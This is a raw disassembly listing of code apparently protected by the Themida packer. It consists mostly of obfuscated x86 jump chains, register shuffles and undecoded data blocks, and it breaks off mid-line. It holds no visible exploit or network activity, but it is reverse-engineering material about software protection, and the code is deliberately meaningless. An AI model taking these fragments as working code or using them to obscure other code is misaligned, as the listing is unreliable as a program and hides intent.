Themida_:005484D9j pop dword ptr [esp] add dword ptr [esp], 4 pop ecx add ecx, 4 push ebp mov ebp, 4 jmp loc_54A69F ; --------------------------------------------------------------------------- dd 710CC581h, 15B3076h, 242C8BE8h, 0F704C483h, 3BC235D8h dd 0C1814659h, 539841E8h, 0E981C101h, 539841E8h, 0A9E95158h dd 5CFFFFAAh, 240C8B66h, 25D6E9h, 85B75300h, 88515066h dd 0E9CC88F9h, 0FFFFF3E9h dword_54F4B8 dd 2CE9028Fh ; DATA XREF: Themida_:00546270o db 70h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F4BF: ; CODE XREF: Themida_:0054D773j xor ebp, [esp] mov esp, [esp] and [edi+1Ch], ebp pop ebp jmp loc_54CD6F ; --------------------------------------------------------------------------- dw 3368h dd 8900007Eh, 35B9240Ch, 81549F36h, 2675EDC1h, 71C18173h dd 81665D5Ch, 74FC7EC1h, 59CB09F8h, 0B3F3814Bh, 0C11BED0Bh dd 0EB8103EBh, 0FC940C85h, 17E7C281h, 0DA010825h, 17E7EA81h dd 15B0825h, 54B850C2h, 0E9130E7Ah, 0FFFF95ACh, 0E7C0CFFEh dd 3EFC005h, 0E9E1EF80h, 0FFFFCD92h, 0E924348Bh, 1535h dd 0DFE95958h, 89FFFFF1h, 0E9575AD5h, 0FFFFFEA3h ; --------------------------------------------------------------------------- loc_54F544: ; CODE XREF: Themida_:0054B3B2j inc edi or edi, 4E0D3A95h xor edi, 8D1DE30Dh jmp loc_551FC0 ; --------------------------------------------------------------------------- dw 815Ah dd 4C4h, 0B2BFE900h, 5954FFFFh, 67E168h, 24148900h, 5B4AFA68h dd 0E2815A72h, 23DE1B89h, 319CEA81h, 0F2817C4Dh, 0A60CD8E8h dd 0FF737AE9h, 71CDBDFFh, 2EE94F9Ah, 5EFFFFCAh, 350BFF05h dd 5D122D03h, 0D8014BF8h, 0BB7B951h, 0E9C13E3Eh, 14F18103h dd 0E905F027h, 0FFFF6FCFh ; --------------------------------------------------------------------------- loc_54F5B4: ; CODE XREF: Themida_:0054F432j mov dh, bh push dword ptr [esp] pop ebx add esp, 4 pop eax sub bl, dh jmp loc_54CA4A ; --------------------------------------------------------------------------- db 2Ch, 0A1h, 81h dd 2ECh, 0C896600h, 0E94EB124h, 0FFFF790Ch ; --------------------------------------------------------------------------- loc_54F5D8: ; CODE XREF: Themida_:0054ABEFj pop esi push edx push 70DDh mov [esp], esi push 3DB31F7Bh pop esi shr esi, 2 and esi, 5A27443Dh add esi, 0F5DBBBE4h mov edx, esi mov esi, [esp] jmp loc_55279A ; --------------------------------------------------------------------------- db 66h, 57h, 66h dd 76A9E955h, 565FFFFFh, 4002BABEh, 0FFE68120h, 462BCD33h dd 0C681DEF7h, 527020Dh, 0C625C681h, 0F0010F75h, 0DDCAE95Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F62E: ; CODE XREF: Themida_:005514ACj push 558Bh mov [esp], edi push ecx push 712160A6h pop ecx not ecx push ebx jmp loc_54C28E ; --------------------------------------------------------------------------- db 8Bh, 0Ch, 24h dd 8304C483h, 1C8904ECh, 57E38924h, 0F2634DBFh, 7BCF8138h dd 81369D22h, 8D7DC7EFh, 6E7C140h, 0FFF547E9h db 0FFh ; --------------------------------------------------------------------------- loc_54F66D: ; CODE XREF: Themida_:0054F7F2j xor ebx, edi pop edi jmp loc_54831C ; --------------------------------------------------------------------------- aBNc db '│г+N√',0 db 52h dd 2624E968h, 0D7215A3Fh, 81BD555Ah, 8126A77Ch, 0A40198E5h dd 0E9D5F712h, 0FFFFDA38h, 3945BB53h, 0E3C157F7h, 0B9EB8107h dd 0F75EE474h, 6EBC1DBh, 5303B850h, 35484B78h, 42F91779h dd 8158C331h, 0C8E353C3h, 0E9D9294Fh, 0FFFFA632h, 41E9C329h dd 52000003h, 1722E9h db 0 ; --------------------------------------------------------------------------- loc_54F6D5: ; CODE XREF: Themida_:0054DA98j mov ecx, esp jmp loc_547364 ; --------------------------------------------------------------------------- dd 8007EBC0h, 71E9D8F3h, 28FFFFF1h, 4FEE9C2h, 0C4830000h dd 36DE904h, 0C8B0000h, 4C48324h, 0E930FF66h, 0FFFF6DE7h dd 0C1DFF75Dh, 0C78104E7h, 42176A34h, 2CE6C681h, 0FE016B05h dd 2CE6EE81h, 335F6B05h, 34312434h, 0DBD8E924h, 0E089FFFFh dd 0BD33E953h, 0D3F7FFFFh, 14B9E9h db 0 ; --------------------------------------------------------------------------- loc_54F739: ; CODE XREF: Themida_:00550D92j push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_54FA52 ; --------------------------------------------------------------------------- dd 8904EC83h, 0DEE9243Ch, 53FFFF73h, 0FF89DEE9h db 0FFh ; --------------------------------------------------------------------------- loc_54F761: ; CODE XREF: Themida_:0054B08Fj xchg eax, [esp] pop esp push edi push 20000h jmp loc_548AF1 ; --------------------------------------------------------------------------- dword_54F770 dd 4EC81ADh, 0E9000000h, 0FFFFE793h, 7273C781h, 0FDE93856h ; DATA XREF: Themida_:005463A4o dd 1FFFFE6h, 241C8BDFh, 4C481h, 3C870000h, 24248B24h, 2E0C68h dd 241C8900h, 52D48850h, 0D788E288h, 3C88585Ah, 241C8B87h dd 0FF73BDE9h, 665366FFh, 66FFFFBBh, 0EE9DE01h, 5B00002Fh dd 815AD301h, 773B86C3h, 81C30157h, 773B86EBh, 68525757h dd 3DADh, 0BF243C89h, 7B7967DAh, 0FFE2B4E9h db 0FFh ; --------------------------------------------------------------------------- loc_54F7E9: ; CODE XREF: Themida_:0054C87Ej add ebx, 0BC1920EEh mov edi, ebx pop ebx jmp loc_54F66D ; --------------------------------------------------------------------------- db 83h dd 26E901C0h, 89FFFF99h, 468242Ch, 0FF000000h, 0DCE92434h dd 68FFFFC0h, 0 dd 5F243C29h, 30FDE781h, 0C781187Eh, 0D42AFE33h, 555FFE29h dd 0EDE9F589h, 8BFFFFC4h, 88E92424h db 1Bh, 2 dup(0) byte_54F837 db 30h ; DATA XREF: Themida_:00546324o dd 0C32240Ch, 9615E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F842: ; CODE XREF: Themida_:00547D6Aj add esi, edx sub esi, 3DF16A68h pop edx xchg esi, [esp] pop esp jmp loc_5464EB ; --------------------------------------------------------------------------- loc_54F854: ; CODE XREF: Themida_:0054D911j xor eax, 0B63BE7BEh add ebp, eax pop eax sub ebp, 4 jmp loc_54BBF7 ; --------------------------------------------------------------------------- db 0FFh dd 0FF042474h, 68582434h, 0B36h, 89240489h, 0E387E9E0h db 2 dup(0FFh) ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_54B6F1 ; --------------------------------------------------------------------------- aVFGfsf db 'V╬F,ёFИ■!',0 dw 5000h dd 5D4462B8h, 4466356Dh, 0C7016D5Dh, 0FFB354E9h, 0F1C381FFh dd 5E06D969h, 4602C381h, 0F2E96048h db 0AAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F8BB: ; CODE XREF: Themida_:0054E25Ej xor eax, [esp] jmp loc_5499E9 ; --------------------------------------------------------------------------- db 5Dh dd 5C241C87h, 240C8966h, 0C8B60F66h, 0E99C5166h, 0FFFF6C13h dd 0F78030B7h, 5BFE3069h, 0C4040E04h, 15D0E9h db 0 ; --------------------------------------------------------------------------- loc_54F8E9: ; CODE XREF: Themida_:00551822j sub [edi+24h], ebx pop ebx mov edx, [esp] add esp, 4 xor edx, edx sub esp, 4 jmp loc_549041 ; --------------------------------------------------------------------------- aIH@ db '┴$$hю@',0 dw 8900h dd 24E9243Ch, 1FFFFABh, 5E8C68D8h, 14890000h, 0BCE95724h dd 68FFFFF4h, 5EB4h, 0E9243C89h, 0FFFFB07Dh, 1DE9CF01h dd 50FFFF82h, 0B553E951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F93E: ; CODE XREF: Themida_:00552120j push esp pop eax jmp loc_552082 ; --------------------------------------------------------------------------- db 81h, 0EBh, 96h dd 81502757h, 6E0C2AEEh, 0E9DE0174h, 0FFFF9161h ; --------------------------------------------------------------------------- loc_54F958: ; CODE XREF: Themida_:0054C4DDj mov [esp], ebp xchg edx, [esp] push edx jmp loc_549A16 ; --------------------------------------------------------------------------- dd 8124048Bh, 4C4h, 66D03000h, 0E924148Bh, 0FFFFA5A5h ; --------------------------------------------------------------------------- loc_54F978: ; CODE XREF: Themida_:0054838Aj mov ebp, 0ABA5551h not ebp and ebp, 7FC43AF8h jmp loc_54AE6D ; --------------------------------------------------------------------------- dw 2C8Bh dd 4C48124h, 81000000h, 2C6h, 0AC9BE900h db 2 dup(0FFh) aM0Rhag db '╛0ьRh²G',0 ; DATA XREF: Themida_:00546490o dw 8900h dd 3B5240Ch, 0FFDCA7E9h, 5B5453FFh, 4C381h, 0C3810000h dd 2, 8B241C87h, 0E5802424h, 7E5C0F5h, 5004E5C0h, 0C52861B0h dd 50458h, 0FF052CE8h, 84E92434h db 82h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F9E3: ; CODE XREF: Themida_:0054B084j xor esi, ebx jmp loc_54DDA4 ; --------------------------------------------------------------------------- dw 0CABAh dd 0E924E912h, 0FFFFFB47h ; --------------------------------------------------------------------------- loc_54F9F4: ; CODE XREF: Themida_:0054CCDEj pop ebx push edx mov edx, 7B3AB7D4h sub ebx, 224C0087h sub ebx, edx jmp loc_546645 ; --------------------------------------------------------------------------- loc_54FA08: ; CODE XREF: Themida_:00548C90j mov [esp], ebx jmp loc_549C20 ; --------------------------------------------------------------------------- dd 6F8FC381h, 76E90DA9h db 0A0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FA1B: ; CODE XREF: Themida_:005523F0j mov esi, 7A194D54h add esi, 0E70D8B2Ah xor edx, esi jmp loc_551C77 ; --------------------------------------------------------------------------- db 80h, 0F2h, 9Ch dd 81E38953h, 4C3h, 4EB8300h, 9A0E9h, 0C4835D00h, 2BD5504h dd 29000000h, 0FE71E9EBh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FA52: ; CODE XREF: Themida_:0054F74Bj pop esp jmp loc_5464EB ; --------------------------------------------------------------------------- dd 4C481h, 0FDE90000h, 8FFFFFEFh, 248B2404h, 58545024h dd 405h, 72D86800h, 2C890000h, 2BD24h, 0F92D0000h, 0E9742D24h dd 0FFFF7DCFh, 4C281h, 14870000h, 54565C24h, 2CF9685Eh dd 14890000h, 4BA24h, 0D6010000h, 4C6815Ah, 0E9000000h dd 0FFFF99E7h, 8107E6C1h, 0C41B30C6h, 0F6E68144h, 81326C42h dd 690EB7F6h, 52EA817Ch, 29575570h, 52C281F2h, 5E575570h dd 2E9BC281h, 0C4E90039h, 50FFFFC1h, 405E089h, 83000000h dd 48704E8h, 2C895C24h, 2474FF24h, 2434FF04h, 0FFA65DE9h db 0FFh ; --------------------------------------------------------------------------- loc_54FAFD: ; CODE XREF: Themida_:00552442j pop edx sub ebp, eax push eax mov eax, 43A518EEh shr eax, 5 jmp loc_550C83 ; --------------------------------------------------------------------------- dw 5642h dd 46601DBEh, 9FCE8157h, 8105DB33h, 0E739DAEEh, 0CE814613h dd 119227CCh, 789FF681h, 0BBE95BC5h, 83FFFFC7h, 0C8904ECh dd 7871B924h, 0E9C11FD2h, 0BBF7E905h, 895DFFFFh, 24148BD5h dd 4C481h, 6F090000h, 2434FF1Ch, 0FF7A73E9h, 55854FFh dd 4, 4BE56h, 0BD2D0000h, 1394801h, 1BD05F0h, 0B1E93948h db 0F9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FB7B: ; CODE XREF: Themida_:0054B13Aj neg edi xor edi, 2D2A60BAh neg edi add edi, 1D7208BDh mov esi, edi pop edi not esi push ebx mov ebx, 7B3521DFh jmp loc_546933 ; --------------------------------------------------------------------------- loc_54FB9B: ; CODE XREF: Themida_:00547539j jz loc_54867F push dword ptr [edi+28h] mov eax, [esp] sub esp, 4 mov [esp], eax jmp loc_550233 ; --------------------------------------------------------------------------- db 57h, 52h, 0BAh dd 4EFC112Fh, 0E95AD789h, 0FFFFAD34h ; --------------------------------------------------------------------------- loc_54FBC4: ; CODE XREF: Themida_:005477C7j xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp or eax, eax jz loc_54A8AE sub esp, 4 mov [esp], ebx mov ebx, 1Ch add ebx, edi push edx jmp loc_551385 ; --------------------------------------------------------------------------- dd 80C20058h, 0E9587FC2h, 0FFFF8BC8h, 3BAD68h, 241C8900h dd 0C381E389h, 4, 8704EB83h, 248B241Ch, 240C8924h, 57E913B1h dd 5CFFFFBFh, 367ABA52h, 0CA815709h, 28C5067Fh, 3D91CA81h dd 56505478h, 931066BEh, 5EF08959h, 8158C201h, 905067F2h dd 5AD701D9h, 5C243C87h, 24048B66h, 3A5F68h, 243C8900h dd 4EC81h, 0DE680000h, 54000079h, 0E924048Fh, 0FFFFB468h dd 4C48159h, 5B000000h, 65A68h, 24048900h, 0FF686EE9h dd 34FF54FFh, 2434FF24h, 4C4815Bh, 0E9000000h, 11EEh ; --------------------------------------------------------------------------- loc_54FC90: ; CODE XREF: Themida_:005488DAj pop esp mov [esp], ecx mov ecx, 4 sub ebx, ecx mov ecx, [esp] jmp loc_5512AB ; --------------------------------------------------------------------------- loc_54FCA3: ; CODE XREF: Themida_:0054D6AFj pop esi jmp loc_55165F ; --------------------------------------------------------------------------- db 81h, 0EEh, 0DEh dd 0E950B103h, 0FFFF742Dh, 0E388F488h, 0EB805A58h, 8BD82081h dd 8953241Ch, 2600E9E3h, 0E1C10000h, 0BAE98104h, 0E928B12Eh dd 0FFFFF513h aMhtl db '╛h▓L',0 ; DATA XREF: Themida_:00546424o align 2 dw 1C89h dd 99B324h, 1F5FE9D8h, 5B660000h, 8608EAC0h, 2224E9DAh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54FCF6: ; CODE XREF: Themida_:0054A8A9j mov [edi+20h], edx jmp loc_54ABEE ; --------------------------------------------------------------------------- dw 4BBh dd 1000000h, 0E904245Ch, 0FCCh, 56241C8Bh, 0C681E689h dd 4, 1DFE9h db 0 byte_54FD1D db 66h, 87h, 4 ; DATA XREF: Themida_:005463A8o dd 0C5686624h, 4896644h, 3C876624h, 0F8CFE924h, 433FFFFh dd 0CDE95C24h, 0B5000019h, 8EDC0E0h, 26B45066h, 5866E500h dd 80C4B353h, 0CB80DAEBh, 0F394E993h, 835EFFFFh, 1C3304C3h dd 241C3124h, 8B241C33h, 0ADE92424h db 0Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54FD6B: ; CODE XREF: Themida_:00548E02j add esp, 4 push edi mov edi, 53DD5149h shl edi, 5 jmp loc_54BB23 ; --------------------------------------------------------------------------- dd 81240C8Bh, 4C4h, 8BDE8800h, 0C481241Ch, 4, 51F78853h dd 88FE8852h, 0E9505AF1h, 0FFFF81A6h ; --------------------------------------------------------------------------- loc_54FDA0: ; CODE XREF: Themida_:005527D2j sub esp, 4 mov [esp], edx xchg ebp, [esp] xchg esi, ebp xchg ebx, esi jmp loc_550947 ; --------------------------------------------------------------------------- dw 0F581h dd 33344238h, 0FF8937E9h, 436E05FFh, 50537E7Ah, 1D1FE9h dd 0E7895700h, 11E5E9h, 59C80100h, 0BFFBD55h, 0E8290335h dd 341D055Dh, 8AE92BF3h, 0BB000000h, 4056290Eh, 292AEB81h dd 31E90D0Eh, 68FFFFB1h, 1F6h, 0FFA472E9h, 885150FFh, 59E888F5h dd 5A58C388h, 8124048Bh, 4C4h, 0DD885100h, 1876C88h, 0CFE9h dd 86BF5700h, 0F70CC614h, 31E781D7h, 0F74E2D6Ch, 0B7AE9DFh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54FE36: ; CODE XREF: Themida_:005501A6j pop ebx push edi jmp loc_5468DD ; --------------------------------------------------------------------------- loc_54FE3D: ; CODE XREF: Themida_:005518D9j push ebp mov ebp, esi jmp loc_54A8A6 ; --------------------------------------------------------------------------- byte_54FE45 db 0FFh, 34h, 24h ; DATA XREF: Themida_:005463ECo aYsj db 'YИJ',8,0 align 2 dw 4BBh dd 1000000h, 0A8D7E9DAh, 0E981FFFFh, 11EBEFF0h, 0C8BCE01h dd 4C48124h, 52000000h, 0FF9441E9h, 25662DFFh, 0A86823F8h dd 89000008h, 0E950240Ch, 2571h ; --------------------------------------------------------------------------- loc_54FE84: ; CODE XREF: Themida_:00551641j mov ecx, 4C2C0FEEh or ebp, ecx pop ecx push ebp mov ebp, esp add ebp, 4 jmp loc_5495EF ; --------------------------------------------------------------------------- dw 0C280h dd 8D69E95Bh, 0DEF6FFFFh, 0EEC0C6FEh, 18F68003h, 0F0284004h dd 305A402Ch, 87E953C3h, 89FFFFECh, 0BFB951E6h, 81554E44h dd 0EE3BDFE9h, 0B7E94148h, 81FFFFBBh, 4ECh, 241C8900h dd 0C25746BBh, 0F7EF8160h, 29352348h, 0F7C781DFh, 0E9352348h dd 0FFFF7201h, 241C8B59h, 0E904C483h, 0FFFF65EFh, 4BF57h dd 0FE010000h, 0C9B4E95Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FF0A: ; CODE XREF: Themida_:00546C9Dj pop ebx shr eax, 3 sub esp, 4 mov [esp], ecx mov ecx, 297D5FA3h jmp loc_5469A3 ; --------------------------------------------------------------------------- dw 48Bh dd 0B9E95624h, 5BFFFF79h, 529ABA52h, 0F2812804h, 0BDE34F0h dd 0BBE9h, 3E5C000h, 80ADC580h, 88E95EF5h, 5FFFFE5h, 50E27FAFh dd 2404875Dh, 0CA88E95Ch db 2 dup(0FFh) word_54FF56 dw 48Bh ; DATA XREF: Themida_:0054640Co dd 59545124h, 16E4BA52h, 0C2835DBFh, 0D8CA8101h, 5342940Ah dd 59DF68h, 243C8900h, 0EC030BBFh, 5FFB897Fh, 0BF57h, 0DF290000h dd 0AFE9FB87h, 80FFFF78h, 0C28001EAh, 6DEEE967h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FF96: ; CODE XREF: Themida_:0054B7C3j pop esi xchg ecx, [esp] mov esp, [esp] mov [esp], ebp mov ebp, 46A82A26h push edi jmp loc_54F2F2 ; --------------------------------------------------------------------------- loc_54FFAB: ; CODE XREF: Themida_:00546C68j xor eax, ebx push ebx not dword ptr [esp] mov ebx, [esp] add esp, 4 push 5C92h mov [esp], eax push ebp sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ebp add ebp, 4 sub ebp, 4 xchg ebp, [esp] jmp loc_54C55C ; --------------------------------------------------------------------------- dw 3489h dd 9C0AE924h, 0D1B5FFFFh, 0E984C580h, 0FFFF7E6Ch, 4A28C181h dd 0D1016460h, 4A28E981h, 0E95A6460h, 1FCCh ; --------------------------------------------------------------------------- loc_550008: ; CODE XREF: Themida_:0054A340j not dword ptr [esp] jmp loc_54B5A4 ; --------------------------------------------------------------------------- loc_550010: ; CODE XREF: Themida_:00551675j xchg ebp, [esp] pop esp and eax, edi mov edi, [esp] add esp, 4 or edx, eax jmp loc_549CCC ; --------------------------------------------------------------------------- db 0E9h dd 0FFFF64C3h, 2474FF56h, 0C5F0E904h, 0F801FFFFh, 81243C8Bh dd 4C4h, 58C60100h, 5C1068h, 243C8900h, 3D27BD55h, 0E5C107D5h dd 0E5814505h, 2E3F4AB2h, 81E9DDF7h db 0DFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55005F: ; CODE XREF: Themida_:0054A679j sub ecx, 6BCC45Ch sub edi, ecx pop ecx std push edx push ebx jmp loc_54EA79 ; --------------------------------------------------------------------------- dd 0BF243C89h, 2CFC01EEh, 181AC381h, 0C3815599h, 435E20BAh dd 75C1BE56h, 0EB814371h, 6D969F1h, 12E9F301h, 89FFFFF8h dd 88B9240Ch, 0E9061937h, 0FFFF941Bh, 3DE9C701h, 5AFFFFD9h dd 8704C183h, 95C240Ch, 0E99C2404h, 0FFFF642Fh dword_5500BC dd 8B2434FFh ; DATA XREF: Themida_:005463C4o db 0Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_54C21E ; --------------------------------------------------------------------------- dw 815Fh dd 2C2h, 24143300h, 33241431h, 248B2414h, 0AB0F6624h, 0E99C2404h dd 11B2h, 7F98E956h, 0E381FFFFh, 366373F5h, 3305F381h dd 7BE93443h, 0E9000020h, 0FFFF63DBh ; --------------------------------------------------------------------------- loc_550110: ; CODE XREF: Themida_:0054A5F9j mov ebp, 335B7FCAh jmp loc_548386 ; --------------------------------------------------------------------------- dw 4B9h dd 29000000h, 0F6859CFh, 0E9000060h, 0FFFFEEA8h ; --------------------------------------------------------------------------- loc_55012C: ; CODE XREF: Themida_:0054AAA0j add ecx, 4 xchg ecx, [esp] pop esp push edx jmp loc_549532 ; --------------------------------------------------------------------------- db 66h, 89h, 0F0h dd 0FFA89AE9h, 0BE5653FFh, 290E309Bh, 0C15EF389h, 0EBC107E3h dd 18F38104h, 81264B12h, 3A96C4F3h, 5BD8012Eh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], eax jmp loc_548E64 ; --------------------------------------------------------------------------- loc_550178: ; CODE XREF: Themida_:0054C361j sub esp, 4 jmp loc_54DF37 ; --------------------------------------------------------------------------- dd 580F581h, 0EA01380Ch, 2414875Dh, 22B4505Ch, 0E958E200h dd 0FFFFC130h ; --------------------------------------------------------------------------- loc_550198: ; CODE XREF: Themida_:00551805j and esi, eax pop eax sub esi, 24EC5002h mov ebx, esi pop esi add ebp, ebx jmp loc_54FE36 ; --------------------------------------------------------------------------- db 5Ch dd 9C240CFEh, 0FF6336E9h db 0FFh byte_5501B5 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:00546318o dd 0A03BE924h, 0EF83FFFFh, 0C469E9FFh, 0BF57FFFFh, 5EDB7C38h dd 78A368h, 24348900h, 0BA4C6DBEh, 0E9D6F766h, 66Eh, 7D77E95Ah dd 0D0F7FFFFh, 0CEB8193h, 1AE2C8Fh, 0E2E95BDEh, 5CFFFFB1h dd 51243C89h, 0C181E189h, 4, 8704E983h, 248B240Ch, 48F5424h dd 4BB5324h, 1000000h, 8B04245Ch, 0C483241Ch, 0C7815F04h dd 4, 0FFCC87E9h, 0E5E959FFh db 1Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_550233: ; CODE XREF: Themida_:0054FBB0j push esp jmp loc_551DB9 ; --------------------------------------------------------------------------- db 5Dh, 31h, 0C3h dd 0FFCAF1E9h, 7EDF05FFh, 5E5E4DEDh, 0E9240487h, 0FFFF9CEFh dd 423F6850h, 24890000h, 0BB535024h, 4, 97E9D889h, 89FFFFA3h dd 0BE56243Ch, 6B7F626Bh, 0FF9D26E9h, 0E9D0F6FFh, 0FFFFB528h dd 0E97AB252h, 0FFFF6A24h, 8324048Bh, 0E95904C4h, 0FFFF625Bh dword_550290 dd 241CF766h, 6251E99Ch, 0EC83FFFFh, 242C8904h, 0FF9B39E9h ; DATA XREF: Themida_:00546484o dd 2BAFFh, 0D7890000h, 2DB92D5Ah, 0A80523D6h, 13CFB71h dd 71A82DF8h, 0B9053CFBh, 5F23D62Dh, 0E9240433h, 0FFFF8CFDh dd 8B24048Fh, 0BE0F2424h, 873BE9C8h, 0C631FFFFh, 0F7CEE958h dd 835BFFFFh, 0EC8302C5h, 243C8904h, 0D4E9E789h, 89FFFF6Ch dd 74FF241Ch, 8F5B0424h, 248B2404h, 8EFFE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550306: ; CODE XREF: Themida_:0054E3E2j not ebp xchg ebp, [esp] pop eax jmp loc_547352 ; --------------------------------------------------------------------------- loc_550311: ; CODE XREF: Themida_:00547459j mov ecx, ebp mov eax, ecx pop ecx pop ebp push ecx mov ecx, eax mov esi, ecx pop ecx jmp loc_548C46 ; --------------------------------------------------------------------------- loc_550322: ; CODE XREF: Themida_:0054A94Cj pop esi pop eax xor eax, 33967CA6h push dword ptr [esp] pop ecx add esp, 4 jmp loc_54C858 ; --------------------------------------------------------------------------- loc_550338: ; CODE XREF: Themida_:0054B6ECj jz loc_54AAB0 push dword ptr [edi+1Ch] push ebx mov ebx, 363D4CFFh sub [esp+4], ebx pop ebx push dword ptr [esp] mov ecx, [esp] jmp loc_54894D ; --------------------------------------------------------------------------- db 21h dd 0F78159CFh, 2A3D0DD6h, 41B8B850h, 0E8C137ACh, 0D83A0503h dd 0C7095D9Eh, 0B7EF8158h, 0E901BE13h, 0FFFF627Bh ; --------------------------------------------------------------------------- loc_55037C: ; CODE XREF: Themida_:00551632j neg eax shr eax, 6 not eax jmp loc_5517FE ; --------------------------------------------------------------------------- dd 0EB80C328h, 58C38044h, 0F7CE9h, 0BD665500h, 0FBE977BAh db 0BEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55039F: ; CODE XREF: Themida_:005488E3j mov ebp, 4 jmp loc_551173 ; --------------------------------------------------------------------------- db 89h, 0Ch, 24h dd 6EE95954h, 68FFFF6Bh, 34F914E3h, 49C5815Dh, 55CFF562h dd 0C8243481h, 5A1B9367h, 0FF7BF7E9h, 81E689FFh, 4C6h dd 4EE8300h, 5C243487h, 0FF91CEE9h, 241C87FFh, 0A878E95Ch dd 0C101FFFFh, 75396858h, 73E90000h, 58000018h, 1790E955h db 2 dup(0) word_5503FE dw 77FFh ; DATA XREF: Themida_:00546364o dd 59669D1Ch, 9C241CD2h, 0FF9221E9h db 0FFh ; --------------------------------------------------------------------------- loc_55040D: ; CODE XREF: Themida_:0054F318j dec ebp jmp loc_549633 ; --------------------------------------------------------------------------- db 0FFh dd 835A2434h, 0D9F704C4h, 0FF9B6DE9h db 0FFh ; --------------------------------------------------------------------------- loc_550421: ; CODE XREF: Themida_:005490FFj mov [esp], eax jmp loc_5490C8 ; --------------------------------------------------------------------------- db 81h, 0EBh, 8Bh dd 582C9B6Bh, 0E9241C87h, 0FFFFF3F7h dword_550438 dd 8B2434FFh, 0C4832404h, 4EC8104h, 89000000h, 0E2892414h ; DATA XREF: Themida_:0054642Co dd 14B95153h, 0E96C7A0Dh, 261h, 0E2D1D2F7h, 3E03BD55h dd 0F7554047h, 0C15D2414h, 4EE902E5h, 54FFFFA4h, 8324348Bh dd 486804C4h, 89000007h, 0E8E9242Ch, 0B9FFFFCAh, 72A536E9h dd 0E9C1D9F7h, 76685008h, 89000061h, 0D68242Ch, 5D729717h dd 96E9D5F7h db 1Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_5504A3: ; CODE XREF: Themida_:005515E0j mov eax, ebx push edi jmp loc_54D9CC ; --------------------------------------------------------------------------- db 89h dd 74FF2434h, 0CCE90424h db 84h, 2 dup(0FFh) byte_5504B7 db 8Bh ; DATA XREF: Themida_:0054635Co dd 0EC83240Ch, 241C8904h, 0E904EC83h, 0FFFFC04Fh, 2434FF58h dd 4C48158h, 0E9000000h, 0FFFF9423h, 8108E2C1h, 0C20D0AE2h dd 4C28111h, 1FFBDF3h, 2434FFD1h, 0FFEEB2E9h db 0FFh ; --------------------------------------------------------------------------- loc_5504F1: ; CODE XREF: Themida_:00548274j mov ebp, 0E117E81h jmp loc_5471AB ; --------------------------------------------------------------------------- loc_5504FB: ; CODE XREF: Themida_:00550C55j add ebp, edx jmp loc_5505FC ; --------------------------------------------------------------------------- dw 0CE01h dd 68240C8Bh, 3864h, 89242C89h, 0CA27E9E5h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550516: ; CODE XREF: Themida_:005471F3j add edx, 4 jmp loc_5476AD ; --------------------------------------------------------------------------- loc_550521: ; CODE XREF: Themida_:0055288Fj pop edx and ebp, 4BA08AFh xor ebp, 48208A6h sub ecx, ebp pop ebp xchg ecx, [esp] mov esp, [esp] mov [esp], eax xor [esp], ebp xor ebp, [esp] jmp loc_54E3DF ; --------------------------------------------------------------------------- byte_550545 db 66h, 8Bh, 4 ; DATA XREF: Themida_:00546438o dd 0E0895024h, 405h, 14A0E900h, 0CB810000h, 5B8E1826h dd 7832EB81h, 0DF015BEEh, 4C7815Bh, 87000000h, 0E95C243Ch dd 1B98h, 0CCB1C681h db 0E7h, 0E5h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_5486AE ; --------------------------------------------------------------------------- dw 0EC83h dd 0B7D7E904h, 0B951FFFFh, 782953F3h, 5B0AC181h, 57496316h dd 3FAEF8BFh, 0E9F929DBh, 871h, 1A4F6866h, 6E95E66h, 81FFFFF2h dd 4C4h, 0FFEE8300h, 300CE81h, 0C68113D1h, 8800B4C0h, 875EF301h dd 0FF5C241Ch, 48B2434h, 4C48124h, 53000000h, 0C381E389h dd 4, 0FF7214E9h, 0C3815CFFh, 4, 6802C383h, 47C1h, 0E9241C89h dd 0FFFFBF38h ; --------------------------------------------------------------------------- loc_5505FC: ; CODE XREF: Themida_:005504FDj mov edx, [esp] add esp, 4 jmp loc_54A282 ; --------------------------------------------------------------------------- db 8Bh dd 37E92404h, 89000006h, 243C8BFEh, 4C481h, 0EA810000h dd 157A4F95h, 6324EA81h, 0F2011481h, 6324C281h, 0C2811481h dd 157A4F95h, 8324348Bh, 0D8E904C4h db 0D8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55063F: ; CODE XREF: Themida_:00551126j push ebx push 6CC7h mov [esp], edi jmp loc_551716 ; --------------------------------------------------------------------------- db 0BBh, 88h, 7Ch dd 0D3E905E0h, 0C1FFFFE7h, 0BE5606E7h, 0BE81B5BCh, 673AEF81h dd 0C7811B29h, 5E387180h, 0EF81F729h, 5E387180h, 0FF8858E9h dd 6386BEFFh, 0DEF71FAFh, 0FFD173E9h db 0FFh ; --------------------------------------------------------------------------- loc_550685: ; CODE XREF: 